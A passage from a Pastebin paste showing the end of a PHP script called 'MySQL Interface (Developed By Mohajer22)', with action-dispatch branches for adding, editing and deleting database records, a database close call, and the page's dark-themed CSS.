  2350.  
  2351.         else if( $action == "addData_submit" )
  2352.  
  2353.             manageData_submit( "add" );
  2354.  
  2355.         else if( $action == "editData" )
  2356.  
  2357.             manageData( "edit" );
  2358.  
  2359.         else if( $action == "editData_submit" )
  2360.  
  2361.             manageData_submit( "edit" );
  2362.  
  2363.         else if( $action == "deleteData" )
  2364.  
  2365.             deleteData();
  2366.  
  2367.         else if( $action == "utils" )
  2368.  
  2369.             utils();
  2370.  
  2371.  
  2372.  
  2373.         mysql_close( $mysqlHandle);
  2374.  
  2375.         footer_html();
  2376.  
  2377.     }
  2378.  
  2379. }
  2380.  
  2381.  
  2382.  
  2383.  
  2384.  
  2385. ?>
  2386.  
  2387. <html>
  2388.  
  2389. <head>
  2390.  
  2391. <title>MySQL Interface (Developed By Mohajer22)</title>
  2392.  
  2393. <body bgColor=#202040 >
  2394.  
  2395. <style type="text/css">
  2396.  
  2397. <!--
  2398.  
  2399. p.location {
  2400.  
  2401.     color: #11bb33;
  2402.  
  2403.     font-size: small;
  2404.  
  2405. }
  2406.  
  2407. h1 {
  2408.  
  2409.     color: #c00000;
  2410.  
  2411. }
  2412.  
  2413. th {
  2414.  
  2415.     background-color: #000000;
  2416.  
  2417.     color: #11bb33;
  2418.  
  2419.     font-size: small;
  2420.  
  2421. }
  2422.  
  2423. td {
  2424.  
  2425.     background-color: #808080;
  2426.  
  2427.     font-size: small;
  2428.  
  2429. }
  2430.  
  2431. form {
  2432.  
  2433.     margin-top: 0;
  2434.  
  2435.     margin-bottom: 0;
  2436.  
  2437. }
  2438.  
  2439. a {
  2440.  
  2441.     text-decoration:none;
  2442.  
  2443.     color: #848200;
  2444.  
  2445.     font-size:small;
  2446.  
  2447. }
  2448.  
  2449. A:link {
  2450.  
  2451. COLOR:#EEEFD5;
  2452.  
  2453. TEXT-DECORATION: none
  2454.  
  2455. }
  2456.  
  2457. A:visited {
  2458.  
  2459. COLOR:#c00000;
  2460.  
  2461. TEXT-DECORATION: none
  2462.  
  2463. }
  2464.  
  2465. A:active {
  2466.  
  2467. COLOR:#c00000;
  2468.  
  2469. TEXT-DECORATION: none
  2470.  
  2471. }
  2472.  
  2473. A:hover {
  2474.  
  2475. color:#c00000;
  2476.  
  2477. TEXT-DECORATION: none
  2478.  
  2479. }
  2480.  
  2481. input, select, textarea {
  2482.  
  2483. background-color: #404040;
  2484.  
  2485. border-style: solid;
  2486.  
  2487. font-family: verdana, arial, sans-serif;
  2488.  
  2489. font-size:small;
  2490.  
  2491. color: #ffffff;
  2492.  
  2493. padding: 0px;
  2494.  
  2495. }
  2496.  
  2497. //-->
  2498.  
  2499. </style>
  2500.  
  2501. </head>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!